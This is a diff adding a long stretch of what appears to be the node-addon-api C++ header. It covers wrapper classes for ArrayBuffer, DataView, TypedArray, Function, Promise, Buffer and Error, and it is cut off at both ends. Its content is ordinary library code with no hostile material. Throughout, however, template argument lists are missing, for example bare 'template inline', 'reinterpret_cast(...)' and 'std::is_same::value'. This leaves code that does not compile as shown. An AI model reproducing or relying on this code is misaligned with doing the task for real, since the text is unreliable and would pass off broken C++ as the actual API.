details::FinalizeData::WrapperWithHint, + finalizeData, + &value); + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED(env, status, ArrayBuffer()); + } + + return ArrayBuffer(env, value); +} +#endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + +inline void ArrayBuffer::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "ArrayBuffer::CheckCast", "empty value"); + + bool result; + napi_status status = napi_is_arraybuffer(env, value, &result); + NAPI_CHECK(status == napi_ok, + "ArrayBuffer::CheckCast", + "napi_is_arraybuffer failed"); + NAPI_CHECK(result, "ArrayBuffer::CheckCast", "value is not arraybuffer"); +} + +inline ArrayBuffer::ArrayBuffer() : Object() {} + +inline ArrayBuffer::ArrayBuffer(napi_env env, napi_value value) + : Object(env, value) {} + +inline void* ArrayBuffer::Data() { + void* data; + napi_status status = napi_get_arraybuffer_info(_env, _value, &data, nullptr); + NAPI_THROW_IF_FAILED(_env, status, nullptr); + return data; +} + +inline size_t ArrayBuffer::ByteLength() { + size_t length; + napi_status status = + napi_get_arraybuffer_info(_env, _value, nullptr, &length); + NAPI_THROW_IF_FAILED(_env, status, 0); + return length; +} + +#if NAPI_VERSION >= 7 +inline bool ArrayBuffer::IsDetached() const { + bool detached; + napi_status status = napi_is_detached_arraybuffer(_env, _value, &detached); + NAPI_THROW_IF_FAILED(_env, status, false); + return detached; +} + +inline void ArrayBuffer::Detach() { + napi_status status = napi_detach_arraybuffer(_env, _value); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} +#endif // NAPI_VERSION >= 7 + +//////////////////////////////////////////////////////////////////////////////// +// DataView class +//////////////////////////////////////////////////////////////////////////////// +inline DataView DataView::New(napi_env env, Napi::ArrayBuffer arrayBuffer) { + return New(env, arrayBuffer, 0, arrayBuffer.ByteLength()); +} + +inline DataView DataView::New(napi_env env, + Napi::ArrayBuffer arrayBuffer, + size_t byteOffset) { + if (byteOffset > arrayBuffer.ByteLength()) { + NAPI_THROW(RangeError::New( + env, "Start offset is outside the bounds of the buffer"), + DataView()); + } + return New( + env, arrayBuffer, byteOffset, arrayBuffer.ByteLength() - byteOffset); +} + +inline DataView DataView::New(napi_env env, + Napi::ArrayBuffer arrayBuffer, + size_t byteOffset, + size_t byteLength) { + if (byteOffset + byteLength > arrayBuffer.ByteLength()) { + NAPI_THROW(RangeError::New(env, "Invalid DataView length"), DataView()); + } + napi_value value; + napi_status status = + napi_create_dataview(env, byteLength, arrayBuffer, byteOffset, &value); + NAPI_THROW_IF_FAILED(env, status, DataView()); + return DataView(env, value); +} + +inline void DataView::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "DataView::CheckCast", "empty value"); + + bool result; + napi_status status = napi_is_dataview(env, value, &result); + NAPI_CHECK( + status == napi_ok, "DataView::CheckCast", "napi_is_dataview failed"); + NAPI_CHECK(result, "DataView::CheckCast", "value is not dataview"); +} + +inline DataView::DataView() : Object() {} + +inline DataView::DataView(napi_env env, napi_value value) : Object(env, value) { + napi_status status = napi_get_dataview_info(_env, + _value /* dataView */, + &_length /* byteLength */, + &_data /* data */, + nullptr /* arrayBuffer */, + nullptr /* byteOffset */); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +inline Napi::ArrayBuffer DataView::ArrayBuffer() const { + napi_value arrayBuffer; + napi_status status = napi_get_dataview_info(_env, + _value /* dataView */, + nullptr /* byteLength */, + nullptr /* data */, + &arrayBuffer /* arrayBuffer */, + nullptr /* byteOffset */); + NAPI_THROW_IF_FAILED(_env, status, Napi::ArrayBuffer()); + return Napi::ArrayBuffer(_env, arrayBuffer); +} + +inline size_t DataView::ByteOffset() const { + size_t byteOffset; + napi_status status = napi_get_dataview_info(_env, + _value /* dataView */, + nullptr /* byteLength */, + nullptr /* data */, + nullptr /* arrayBuffer */, + &byteOffset /* byteOffset */); + NAPI_THROW_IF_FAILED(_env, status, 0); + return byteOffset; +} + +inline size_t DataView::ByteLength() const { + return _length; +} + +inline void* DataView::Data() const { + return _data; +} + +inline float DataView::GetFloat32(size_t byteOffset) const { + return ReadData(byteOffset); +} + +inline double DataView::GetFloat64(size_t byteOffset) const { + return ReadData(byteOffset); +} + +inline int8_t DataView::GetInt8(size_t byteOffset) const { + return ReadData(byteOffset); +} + +inline int16_t DataView::GetInt16(size_t byteOffset) const { + return ReadData(byteOffset); +} + +inline int32_t DataView::GetInt32(size_t byteOffset) const { + return ReadData(byteOffset); +} + +inline uint8_t DataView::GetUint8(size_t byteOffset) const { + return ReadData(byteOffset); +} + +inline uint16_t DataView::GetUint16(size_t byteOffset) const { + return ReadData(byteOffset); +} + +inline uint32_t DataView::GetUint32(size_t byteOffset) const { + return ReadData(byteOffset); +} + +inline void DataView::SetFloat32(size_t byteOffset, float value) const { + WriteData(byteOffset, value); +} + +inline void DataView::SetFloat64(size_t byteOffset, double value) const { + WriteData(byteOffset, value); +} + +inline void DataView::SetInt8(size_t byteOffset, int8_t value) const { + WriteData(byteOffset, value); +} + +inline void DataView::SetInt16(size_t byteOffset, int16_t value) const { + WriteData(byteOffset, value); +} + +inline void DataView::SetInt32(size_t byteOffset, int32_t value) const { + WriteData(byteOffset, value); +} + +inline void DataView::SetUint8(size_t byteOffset, uint8_t value) const { + WriteData(byteOffset, value); +} + +inline void DataView::SetUint16(size_t byteOffset, uint16_t value) const { + WriteData(byteOffset, value); +} + +inline void DataView::SetUint32(size_t byteOffset, uint32_t value) const { + WriteData(byteOffset, value); +} + +template +inline T DataView::ReadData(size_t byteOffset) const { + if (byteOffset + sizeof(T) > _length || + byteOffset + sizeof(T) < byteOffset) { // overflow + NAPI_THROW( + RangeError::New(_env, "Offset is outside the bounds of the DataView"), + 0); + } + + return *reinterpret_cast(static_cast(_data) + byteOffset); +} + +template +inline void DataView::WriteData(size_t byteOffset, T value) const { + if (byteOffset + sizeof(T) > _length || + byteOffset + sizeof(T) < byteOffset) { // overflow + NAPI_THROW_VOID( + RangeError::New(_env, "Offset is outside the bounds of the DataView")); + } + + *reinterpret_cast(static_cast(_data) + byteOffset) = value; +} + +//////////////////////////////////////////////////////////////////////////////// +// TypedArray class +//////////////////////////////////////////////////////////////////////////////// +inline void TypedArray::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "TypedArray::CheckCast", "empty value"); + + bool result; + napi_status status = napi_is_typedarray(env, value, &result); + NAPI_CHECK( + status == napi_ok, "TypedArray::CheckCast", "napi_is_typedarray failed"); + NAPI_CHECK(result, "TypedArray::CheckCast", "value is not typedarray"); +} + +inline TypedArray::TypedArray() + : Object(), _type(napi_typedarray_type::napi_int8_array), _length(0) {} + +inline TypedArray::TypedArray(napi_env env, napi_value value) + : Object(env, value), + _type(napi_typedarray_type::napi_int8_array), + _length(0) { + if (value != nullptr) { + napi_status status = + napi_get_typedarray_info(_env, + _value, + &const_cast(this)->_type, + &const_cast(this)->_length, + nullptr, + nullptr, + nullptr); + NAPI_THROW_IF_FAILED_VOID(_env, status); + } +} + +inline TypedArray::TypedArray(napi_env env, + napi_value value, + napi_typedarray_type type, + size_t length) + : Object(env, value), _type(type), _length(length) {} + +inline napi_typedarray_type TypedArray::TypedArrayType() const { + return _type; +} + +inline uint8_t TypedArray::ElementSize() const { + switch (_type) { + case napi_int8_array: + case napi_uint8_array: + case napi_uint8_clamped_array: + return 1; + case napi_int16_array: + case napi_uint16_array: + return 2; + case napi_int32_array: + case napi_uint32_array: + case napi_float32_array: + return 4; + case napi_float64_array: +#if (NAPI_VERSION > 5) + case napi_bigint64_array: + case napi_biguint64_array: +#endif // (NAPI_VERSION > 5) + return 8; + default: + return 0; + } +} + +inline size_t TypedArray::ElementLength() const { + return _length; +} + +inline size_t TypedArray::ByteOffset() const { + size_t byteOffset; + napi_status status = napi_get_typedarray_info( + _env, _value, nullptr, nullptr, nullptr, nullptr, &byteOffset); + NAPI_THROW_IF_FAILED(_env, status, 0); + return byteOffset; +} + +inline size_t TypedArray::ByteLength() const { + return ElementSize() * ElementLength(); +} + +inline Napi::ArrayBuffer TypedArray::ArrayBuffer() const { + napi_value arrayBuffer; + napi_status status = napi_get_typedarray_info( + _env, _value, nullptr, nullptr, nullptr, &arrayBuffer, nullptr); + NAPI_THROW_IF_FAILED(_env, status, Napi::ArrayBuffer()); + return Napi::ArrayBuffer(_env, arrayBuffer); +} + +//////////////////////////////////////////////////////////////////////////////// +// TypedArrayOf class +//////////////////////////////////////////////////////////////////////////////// +template +inline void TypedArrayOf::CheckCast(napi_env env, napi_value value) { + TypedArray::CheckCast(env, value); + napi_typedarray_type type; + napi_status status = napi_get_typedarray_info( + env, value, &type, nullptr, nullptr, nullptr, nullptr); + NAPI_CHECK(status == napi_ok, + "TypedArrayOf::CheckCast", + "napi_is_typedarray failed"); + + NAPI_CHECK( + (type == TypedArrayTypeForPrimitiveType() || + (type == napi_uint8_clamped_array && std::is_same::value)), + "TypedArrayOf::CheckCast", + "Array type must match the template parameter. (Uint8 arrays may " + "optionally have the \"clamped\" array type.)"); +} + +template +inline TypedArrayOf TypedArrayOf::New(napi_env env, + size_t elementLength, + napi_typedarray_type type) { + Napi::ArrayBuffer arrayBuffer = + Napi::ArrayBuffer::New(env, elementLength * sizeof(T)); + return New(env, elementLength, arrayBuffer, 0, type); +} + +template +inline TypedArrayOf TypedArrayOf::New(napi_env env, + size_t elementLength, + Napi::ArrayBuffer arrayBuffer, + size_t bufferOffset, + napi_typedarray_type type) { + napi_value value; + napi_status status = napi_create_typedarray( + env, type, elementLength, arrayBuffer, bufferOffset, &value); + NAPI_THROW_IF_FAILED(env, status, TypedArrayOf()); + + return TypedArrayOf( + env, + value, + type, + elementLength, + reinterpret_cast(reinterpret_cast(arrayBuffer.Data()) + + bufferOffset)); +} + +template +inline TypedArrayOf::TypedArrayOf() : TypedArray(), _data(nullptr) {} + +template +inline TypedArrayOf::TypedArrayOf(napi_env env, napi_value value) + : TypedArray(env, value), _data(nullptr) { + napi_status status = napi_ok; + if (value != nullptr) { + void* data = nullptr; + status = napi_get_typedarray_info( + _env, _value, &_type, &_length, &data, nullptr, nullptr); + _data = static_cast(data); + } else { + _type = TypedArrayTypeForPrimitiveType(); + _length = 0; + } + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +template +inline TypedArrayOf::TypedArrayOf(napi_env env, + napi_value value, + napi_typedarray_type type, + size_t length, + T* data) + : TypedArray(env, value, type, length), _data(data) { + if (!(type == TypedArrayTypeForPrimitiveType() || + (type == napi_uint8_clamped_array && + std::is_same::value))) { + NAPI_THROW_VOID(TypeError::New( + env, + "Array type must match the template parameter. " + "(Uint8 arrays may optionally have the \"clamped\" array type.)")); + } +} + +template +inline T& TypedArrayOf::operator[](size_t index) { + return _data[index]; +} + +template +inline const T& TypedArrayOf::operator[](size_t index) const { + return _data[index]; +} + +template +inline T* TypedArrayOf::Data() { + return _data; +} + +template +inline const T* TypedArrayOf::Data() const { + return _data; +} + +//////////////////////////////////////////////////////////////////////////////// +// Function class +//////////////////////////////////////////////////////////////////////////////// + +template +inline napi_status CreateFunction(napi_env env, + const char* utf8name, + napi_callback cb, + CbData* data, + napi_value* result) { + napi_status status = + napi_create_function(env, utf8name, NAPI_AUTO_LENGTH, cb, data, result); + if (status == napi_ok) { + status = Napi::details::AttachData(env, *result, data); + } + + return status; +} + +template +inline Function Function::New(napi_env env, const char* utf8name, void* data) { + napi_value result = nullptr; + napi_status status = napi_create_function(env, + utf8name, + NAPI_AUTO_LENGTH, + details::TemplatedVoidCallback, + data, + &result); + NAPI_THROW_IF_FAILED(env, status, Function()); + return Function(env, result); +} + +template +inline Function Function::New(napi_env env, const char* utf8name, void* data) { + napi_value result = nullptr; + napi_status status = napi_create_function(env, + utf8name, + NAPI_AUTO_LENGTH, + details::TemplatedCallback, + data, + &result); + NAPI_THROW_IF_FAILED(env, status, Function()); + return Function(env, result); +} + +template +inline Function Function::New(napi_env env, + const std::string& utf8name, + void* data) { + return Function::New(env, utf8name.c_str(), data); +} + +template +inline Function Function::New(napi_env env, + const std::string& utf8name, + void* data) { + return Function::New(env, utf8name.c_str(), data); +} + +template +inline Function Function::New(napi_env env, + Callable cb, + const char* utf8name, + void* data) { + using ReturnType = decltype(cb(CallbackInfo(nullptr, nullptr))); + using CbData = details::CallbackData; + auto callbackData = new CbData{std::move(cb), data}; + + napi_value value; + napi_status status = + CreateFunction(env, utf8name, CbData::Wrapper, callbackData, &value); + if (status != napi_ok) { + delete callbackData; + NAPI_THROW_IF_FAILED(env, status, Function()); + } + + return Function(env, value); +} + +template +inline Function Function::New(napi_env env, + Callable cb, + const std::string& utf8name, + void* data) { + return New(env, cb, utf8name.c_str(), data); +} + +inline void Function::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "Function::CheckCast", "empty value"); + + napi_valuetype type; + napi_status status = napi_typeof(env, value, &type); + NAPI_CHECK(status == napi_ok, "Function::CheckCast", "napi_typeof failed"); + NAPI_CHECK(type == napi_function, + "Function::CheckCast", + "value is not napi_function"); +} + +inline Function::Function() : Object() {} + +inline Function::Function(napi_env env, napi_value value) + : Object(env, value) {} + +inline MaybeOrValue Function::operator()( + const std::initializer_list& args) const { + return Call(Env().Undefined(), args); +} + +inline MaybeOrValue Function::Call( + const std::initializer_list& args) const { + return Call(Env().Undefined(), args); +} + +inline MaybeOrValue Function::Call( + const std::vector& args) const { + return Call(Env().Undefined(), args); +} + +inline MaybeOrValue Function::Call( + const std::vector& args) const { + return Call(Env().Undefined(), args); +} + +inline MaybeOrValue Function::Call(size_t argc, + const napi_value* args) const { + return Call(Env().Undefined(), argc, args); +} + +inline MaybeOrValue Function::Call( + napi_value recv, const std::initializer_list& args) const { + return Call(recv, args.size(), args.begin()); +} + +inline MaybeOrValue Function::Call( + napi_value recv, const std::vector& args) const { + return Call(recv, args.size(), args.data()); +} + +inline MaybeOrValue Function::Call( + napi_value recv, const std::vector& args) const { + const size_t argc = args.size(); + const size_t stackArgsCount = 6; + napi_value stackArgs[stackArgsCount]; + std::vector heapArgs; + napi_value* argv; + if (argc <= stackArgsCount) { + argv = stackArgs; + } else { + heapArgs.resize(argc); + argv = heapArgs.data(); + } + + for (size_t index = 0; index < argc; index++) { + argv[index] = static_cast(args[index]); + } + + return Call(recv, argc, argv); +} + +inline MaybeOrValue Function::Call(napi_value recv, + size_t argc, + const napi_value* args) const { + napi_value result; + napi_status status = + napi_call_function(_env, recv, _value, argc, args, &result); + NAPI_RETURN_OR_THROW_IF_FAILED( + _env, status, Napi::Value(_env, result), Napi::Value); +} + +inline MaybeOrValue Function::MakeCallback( + napi_value recv, + const std::initializer_list& args, + napi_async_context context) const { + return MakeCallback(recv, args.size(), args.begin(), context); +} + +inline MaybeOrValue Function::MakeCallback( + napi_value recv, + const std::vector& args, + napi_async_context context) const { + return MakeCallback(recv, args.size(), args.data(), context); +} + +inline MaybeOrValue Function::MakeCallback( + napi_value recv, + size_t argc, + const napi_value* args, + napi_async_context context) const { + napi_value result; + napi_status status = + napi_make_callback(_env, context, recv, _value, argc, args, &result); + NAPI_RETURN_OR_THROW_IF_FAILED( + _env, status, Napi::Value(_env, result), Napi::Value); +} + +inline MaybeOrValue Function::New( + const std::initializer_list& args) const { + return New(args.size(), args.begin()); +} + +inline MaybeOrValue Function::New( + const std::vector& args) const { + return New(args.size(), args.data()); +} + +inline MaybeOrValue Function::New(size_t argc, + const napi_value* args) const { + napi_value result; + napi_status status = napi_new_instance(_env, _value, argc, args, &result); + NAPI_RETURN_OR_THROW_IF_FAILED( + _env, status, Napi::Object(_env, result), Napi::Object); +} + +//////////////////////////////////////////////////////////////////////////////// +// Promise class +//////////////////////////////////////////////////////////////////////////////// + +inline Promise::Deferred Promise::Deferred::New(napi_env env) { + return Promise::Deferred(env); +} + +inline Promise::Deferred::Deferred(napi_env env) : _env(env) { + napi_status status = napi_create_promise(_env, &_deferred, &_promise); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +inline Promise Promise::Deferred::Promise() const { + return Napi::Promise(_env, _promise); +} + +inline Napi::Env Promise::Deferred::Env() const { + return Napi::Env(_env); +} + +inline void Promise::Deferred::Resolve(napi_value value) const { + napi_status status = napi_resolve_deferred(_env, _deferred, value); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +inline void Promise::Deferred::Reject(napi_value value) const { + napi_status status = napi_reject_deferred(_env, _deferred, value); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +inline void Promise::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "Promise::CheckCast", "empty value"); + + bool result; + napi_status status = napi_is_promise(env, value, &result); + NAPI_CHECK(status == napi_ok, "Promise::CheckCast", "napi_is_promise failed"); + NAPI_CHECK(result, "Promise::CheckCast", "value is not promise"); +} + +inline Promise::Promise(napi_env env, napi_value value) : Object(env, value) {} + +//////////////////////////////////////////////////////////////////////////////// +// Buffer class +//////////////////////////////////////////////////////////////////////////////// + +template +inline Buffer Buffer::New(napi_env env, size_t length) { + napi_value value; + void* data; + napi_status status = + napi_create_buffer(env, length * sizeof(T), &data, &value); + NAPI_THROW_IF_FAILED(env, status, Buffer()); + return Buffer(env, value, length, static_cast(data)); +} + +#ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED +template +inline Buffer Buffer::New(napi_env env, T* data, size_t length) { + napi_value value; + napi_status status = napi_create_external_buffer( + env, length * sizeof(T), data, nullptr, nullptr, &value); + NAPI_THROW_IF_FAILED(env, status, Buffer()); + return Buffer(env, value, length, data); +} + +template +template +inline Buffer Buffer::New(napi_env env, + T* data, + size_t length, + Finalizer finalizeCallback) { + napi_value value; + details::FinalizeData* finalizeData = + new details::FinalizeData( + {std::move(finalizeCallback), nullptr}); + napi_status status = + napi_create_external_buffer(env, + length * sizeof(T), + data, + details::FinalizeData::Wrapper, + finalizeData, + &value); + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED(env, status, Buffer()); + } + return Buffer(env, value, length, data); +} + +template +template +inline Buffer Buffer::New(napi_env env, + T* data, + size_t length, + Finalizer finalizeCallback, + Hint* finalizeHint) { + napi_value value; + details::FinalizeData* finalizeData = + new details::FinalizeData( + {std::move(finalizeCallback), finalizeHint}); + napi_status status = napi_create_external_buffer( + env, + length * sizeof(T), + data, + details::FinalizeData::WrapperWithHint, + finalizeData, + &value); + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED(env, status, Buffer()); + } + return Buffer(env, value, length, data); +} +#endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + +template +inline Buffer Buffer::NewOrCopy(napi_env env, T* data, size_t length) { +#ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + napi_value value; + napi_status status = napi_create_external_buffer( + env, length * sizeof(T), data, nullptr, nullptr, &value); + if (status == details::napi_no_external_buffers_allowed) { +#endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + // If we can't create an external buffer, we'll just copy the data. + return Buffer::Copy(env, data, length); +#ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + } + NAPI_THROW_IF_FAILED(env, status, Buffer()); + return Buffer(env, value, length, data); +#endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED +} + +template +template +inline Buffer Buffer::NewOrCopy(napi_env env, + T* data, + size_t length, + Finalizer finalizeCallback) { + details::FinalizeData* finalizeData = + new details::FinalizeData( + {std::move(finalizeCallback), nullptr}); +#ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + napi_value value; + napi_status status = + napi_create_external_buffer(env, + length * sizeof(T), + data, + details::FinalizeData::Wrapper, + finalizeData, + &value); + if (status == details::napi_no_external_buffers_allowed) { +#endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + // If we can't create an external buffer, we'll just copy the data. + Buffer ret = Buffer::Copy(env, data, length); + details::FinalizeData::Wrapper(env, data, finalizeData); + return ret; +#ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + } + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED(env, status, Buffer()); + } + return Buffer(env, value, length, data); +#endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED +} + +template +template +inline Buffer Buffer::NewOrCopy(napi_env env, + T* data, + size_t length, + Finalizer finalizeCallback, + Hint* finalizeHint) { + details::FinalizeData* finalizeData = + new details::FinalizeData( + {std::move(finalizeCallback), finalizeHint}); +#ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + napi_value value; + napi_status status = napi_create_external_buffer( + env, + length * sizeof(T), + data, + details::FinalizeData::WrapperWithHint, + finalizeData, + &value); + if (status == details::napi_no_external_buffers_allowed) { +#endif + // If we can't create an external buffer, we'll just copy the data. + Buffer ret = Buffer::Copy(env, data, length); + details::FinalizeData::WrapperWithHint( + env, data, finalizeData); + return ret; +#ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED + } + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED(env, status, Buffer()); + } + return Buffer(env, value, length, data); +#endif +} + +template +inline Buffer Buffer::Copy(napi_env env, const T* data, size_t length) { + napi_value value; + napi_status status = + napi_create_buffer_copy(env, length * sizeof(T), data, nullptr, &value); + NAPI_THROW_IF_FAILED(env, status, Buffer()); + return Buffer(env, value); +} + +template +inline void Buffer::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "Buffer::CheckCast", "empty value"); + + bool result; + napi_status status = napi_is_buffer(env, value, &result); + NAPI_CHECK(status == napi_ok, "Buffer::CheckCast", "napi_is_buffer failed"); + NAPI_CHECK(result, "Buffer::CheckCast", "value is not buffer"); +} + +template +inline Buffer::Buffer() : Uint8Array(), _length(0), _data(nullptr) {} + +template +inline Buffer::Buffer(napi_env env, napi_value value) + : Uint8Array(env, value), _length(0), _data(nullptr) {} + +template +inline Buffer::Buffer(napi_env env, napi_value value, size_t length, T* data) + : Uint8Array(env, value), _length(length), _data(data) {} + +template +inline size_t Buffer::Length() const { + EnsureInfo(); + return _length; +} + +template +inline T* Buffer::Data() const { + EnsureInfo(); + return _data; +} + +template +inline void Buffer::EnsureInfo() const { + // The Buffer instance may have been constructed from a napi_value whose + // length/data are not yet known. Fetch and cache these values just once, + // since they can never change during the lifetime of the Buffer. + if (_data == nullptr) { + size_t byteLength; + void* voidData; + napi_status status = + napi_get_buffer_info(_env, _value, &voidData, &byteLength); + NAPI_THROW_IF_FAILED_VOID(_env, status); + _length = byteLength / sizeof(T); + _data = static_cast(voidData); + } +} + +//////////////////////////////////////////////////////////////////////////////// +// Error class +//////////////////////////////////////////////////////////////////////////////// + +inline Error Error::New(napi_env env) { + napi_status status; + napi_value error = nullptr; + bool is_exception_pending; + napi_extended_error_info last_error_info_copy; + + { + // We must retrieve the last error info before doing anything else because + // doing anything else will replace the last error info. + const napi_extended_error_info* last_error_info; + status = napi_get_last_error_info(env, &last_error_info); + NAPI_FATAL_IF_FAILED(status, "Error::New", "napi_get_last_error_info"); + + // All fields of the `napi_extended_error_info` structure gets reset in + // subsequent Node-API function calls on the same `env`. This includes a + // call to `napi_is_exception_pending()`. So here it is necessary to make a + // copy of the information as the `error_code` field is used later on. + memcpy(&last_error_info_copy, + last_error_info, + sizeof(napi_extended_error_info)); + } + + status = napi_is_exception_pending(env, &is_exception_pending); + NAPI_FATAL_IF_FAILED(status, "Error::New", "napi_is_exception_pending"); + + // A pending exception takes precedence over any internal error status. + if (is_exception_pending) { + status = napi_get_and_clear_last_exception(env, &error); + NAPI_FATAL_IF_FAILED( + status, "Error::New", "napi_get_and_clear_last_exception"); + } else { + const char* error_message = last_error_info_copy.error_message != nullptr + ? last_error_info_copy.error_message + : "Error in native callback"; + + napi_value message; + status = napi_create_string_utf8( + env, error_message, std::strlen(error_message), &message); + NAPI_FATAL_IF_FAILED(status, "Error::New", "napi_create_string_utf8"); + + switch (last_error_info_copy.error_code) { + case napi_object_expected: + case napi_string_expected: + case napi_boolean_expected: + case napi_number_expected: + status = napi_create_type_error(env, nullptr, message, &error); + break; + default: + status = napi_create_error(env, nullptr, message, &error); + break; + } + NAPI_FATAL_IF_FAILED(status, "Error::New", "napi_create_error"); + } + + return Error(env, error); +} + +inline Error Error::New(napi_env env, const char* message) { + return Error::New( + env, message, std::strlen(message), napi_create_error); +} + +inline Error Error::New(napi_env env, const std::string& message) { + return Error::New( + env, message.c_str(), message.size(), napi_create_error); +} + +inline NAPI_NO_RETURN void Error::Fatal(const char* location, + const char* message) { + napi_fatal_error(location, NAPI_AUTO_LENGTH, message, NAPI_AUTO_LENGTH); +} + +inline Error::Error() : ObjectReference() {} + +inline Error::Error(napi_env env, napi_value value) + : ObjectReference(env, nullptr) { + if (value != nullptr) { + // Attempting to create a reference on the error object. + // If it's not a Object/Function/Symbol, this call will return an error + // status. + napi_status status = napi_create_reference(env, value, 1, &_ref); + + if (status != napi_ok) { + napi_value wrappedErrorObj; + + // Create an error object + status = napi_create_object(env, &wrappedErrorObj); + NAPI_FATAL_IF_FAILED(status, "Error::Error", "napi_create_object"); + + // property flag that we attach to show the error object is wrapped + napi_property_descriptor wrapObjFlag = { + ERROR_WRAP_VALUE(), // Unique GUID identifier since Symbol isn't a + // viable option + nullptr, + nullptr, + nullptr, + nullptr, + Value::From(env, value), + napi_enumerable, + nullptr}; + + status = napi_define_properties(env, wrappedErrorObj, 1, &wrapObjFlag); + NAPI_FATAL_IF_FAILED(status, "Error::Error", "napi_define_properties"); + + // Create a reference on the newly wrapped object + status = napi_create_reference(env, wrappedErrorObj, 1, &_ref); + } + + // Avoid infinite recursion in the failure case. + NAPI_FATAL_IF_FAILED(status, "Error::Error", "napi_create_reference"); + } +} + +inline Object Error::Value() const { + if (_ref == nullptr) { + return Object(_env, nullptr); + } + + napi_value refValue; + napi_status status = napi_get_reference_value(_env, _ref, &refValue); + NAPI_THROW_IF_FAILED(_env, status, Object()); + + napi_valuetype type; + status = napi_typeof(_env, refValue, &type); + NAPI_THROW_IF_FAILED(_env, status, Object()); + + // If refValue isn't a symbol, then we proceed to whether the refValue has the + // wrapped error flag + if (type != napi_symbol) { + // We are checking if the object is wrapped + bool isWrappedObject = false; + + status = napi_has_property(_env, + refValue, + String::From(_env, ERROR_WRAP_VALUE()), + &isWrappedObject); + + // Don't care about status + if (isWrappedObject) { + napi_value unwrappedValue; + status = napi_get_property(_env, + refValue, + String::From(_env, ERROR_WRAP_VALUE()), + &unwrappedValue); + NAPI_THROW_IF_FAILED(_env, status, Object()); + + return Object(_env, unwrappedValue); + } + } + + return Object(_env, refValue); +} + +inline Error::Error(Error&& other) : ObjectReference(std::move(other)) {} + +inline Error& Error::operator=(Error&& other) { + static_cast*>(this)->operator=(std::move(other)); + return *this; +} + +inline Error::Error(const Error& other) : ObjectReference(other) {} + +inline Error& Error::operator=(const Error& other) { + Reset(); + + _env = other.Env(); + HandleScope scope(_env); + + napi_value value = other.Value(); + if (value != nullptr) { + napi_status status = napi_create_reference(_env, value, 1, &_ref); + NAPI_THROW_IF_FAILED(_env, status, *this); + } + + return *this; +} + +inline const std::string& Error::Message() const NAPI_NOEXCEPT { + if (_message.size() == 0 && _env != nullptr) { +#ifdef NAPI_CPP_EXCEPTIONS + try { + _message = Get("message").As(); + } catch (...) { + // Catch all errors here, to include e.g. a std::bad_alloc from + // the std::string::operator=, because this method may not throw. + } +#else // NAPI_CPP_EXCEPTIONS +#if defined(NODE_ADDON_API_ENABLE_MAYBE) + Napi::Value message_val; + if (Get("message").UnwrapTo(&message_val)) { + _message = message_val.As(); + } +#else + _message = Get("message").As(); +#endif +#endif // NAPI_CPP_EXCEPTIONS + } + return _message; +} + +// we created an object on the &_ref +inline void Error::ThrowAsJavaScriptException() const { + HandleScope scope(_env); + if (!IsEmpty()) { +#ifdef NODE_API_SWALLOW_UNTHROWABLE_EXCEPTIONS + bool pendingException = false; + + // check if there is already a pending exception. If so don't try to throw a + // new one as that is not allowed/possible + napi_status status = napi_is_exception_pending(_env, &pendingException); + + if ((status != napi_ok) || + ((status == napi_ok) && (pendingException == false))) { + // We intentionally don't use `NAPI_THROW_*` macros here to ensure + // that there is no possible recursion as `ThrowAsJavaScriptException` + // is part of `NAPI_THROW_*` macro definition for noexcept. + + status = napi_throw(_env, Value()); + + if (status == napi_pending_exception) { + // The environment must be terminating as we checked earlier and there + // was no pending exception. In this case continuing will result + // in a fatal error and there is nothing the author has done incorrectly + // in their code that is worth flagging through a fatal error + return; + } + } else { + status = napi_pending_exception; + } +#else + // We intentionally don't use `NAPI_THROW_*` macros here to ensure + // that there is no possible recursion as `ThrowAsJavaScriptException` + // is part of `NAPI_THROW_*` macro definition for noexcept. + + napi_status status = napi_throw(_env, Value()); +#endif + +#ifdef NAPI_CPP_EXCEPTIONS + if (status != napi_ok) { + throw Error::New(_env); + } +#else // NAPI_CPP_EXCEPTIONS + NAPI_FATAL_IF_FAILED( + status, "Error::ThrowAsJavaScriptException", "napi_throw"); +#endif // NAPI_CPP_EXCEPTIONS + } +} + +#ifdef NAPI_CPP_EXCEPTIONS + +inline const char* Error::what() const NAPI_NOEXCEPT { + return Message().c_str(); +} + +#endif // NAPI_CPP_EXCEPTIONS + +inline const char* Error::ERROR_WRAP_VALUE() NAPI_NOEXCEPT { + return "4bda9e7e-4913-4dbc-95de-891cbf66598e-errorVal"; +} + +template +inline TError Error::New(napi_env env, + const char* message, + size_t length, + create_error_fn create_error) { + napi_value str; + napi_status status = napi_create_string_utf8(env, message, length, &str); + NAPI_THROW_IF_FAILED(env, status, TError()); + + napi_value error; + status = create_error(env, nullptr, str, &error); + NAPI_THROW_IF_FAILED(env, status, TError()); + + return TError(env, error); +} + +inline TypeError TypeError::New(napi_env env, const char* message) 